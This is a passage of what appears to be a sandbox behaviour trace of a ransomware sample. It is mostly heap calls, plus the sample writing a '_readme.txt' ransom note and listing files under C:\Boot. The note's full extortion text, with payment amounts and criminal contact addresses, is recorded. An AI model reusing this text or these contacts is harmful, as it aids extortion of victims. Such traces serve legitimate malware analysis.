[0266.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.222] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.225] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.225] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.225] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.225] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.225] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.225] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0266.225] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.225] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.225] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.225] PathFindFileNameW (pszPath="") returned="" [0266.225] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.225] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.226] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.226] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.226] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.226] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.226] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.226] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.226] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0266.226] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.226] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.226] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0266.227] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.227] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.227] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.227] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.227] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.228] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.228] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.228] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.228] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.228] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.228] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.228] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.228] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.228] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0266.228] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0266.228] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.228] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.229] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.229] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.230] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: 